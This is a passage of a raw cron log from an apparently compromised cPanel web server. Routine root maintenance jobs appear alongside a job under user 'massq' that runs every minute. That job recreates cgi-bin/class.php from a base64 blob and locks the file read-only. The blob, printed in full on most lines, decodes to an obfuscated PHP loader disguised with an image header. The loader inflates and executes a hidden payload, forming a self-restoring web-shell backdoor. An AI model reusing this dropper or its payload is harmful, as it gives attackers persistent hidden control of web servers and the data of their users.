O1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:35:01 server CROND[18756]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 16:35:01 server CROND[18757]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 16:35:01 server CROND[18755]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 16:35:01 server CROND[18763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:35:01 server CROND[18762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 16:36:01 server CROND[18929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:37:01 server CROND[18977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:38:01 server CROND[19139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:39:01 server CROND[19185]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 16:39:01 server CROND[19186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:40:01 server CROND[19258]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 16:40:01 server CROND[19259]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 16:40:01 server CROND[19260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:40:01 server CROND[19261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 16:41:01 server CROND[19369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:42:01 server CROND[19417]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 16:42:01 server CROND[19418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:43:01 server CROND[19578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:44:01 server CROND[19631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:45:01 server CROND[19698]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 16:45:01 server CROND[19700]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 16:45:01 server CROND[19699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:46:01 server CROND[19820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:47:01 server CROND[19877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:48:01 server CROND[20018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 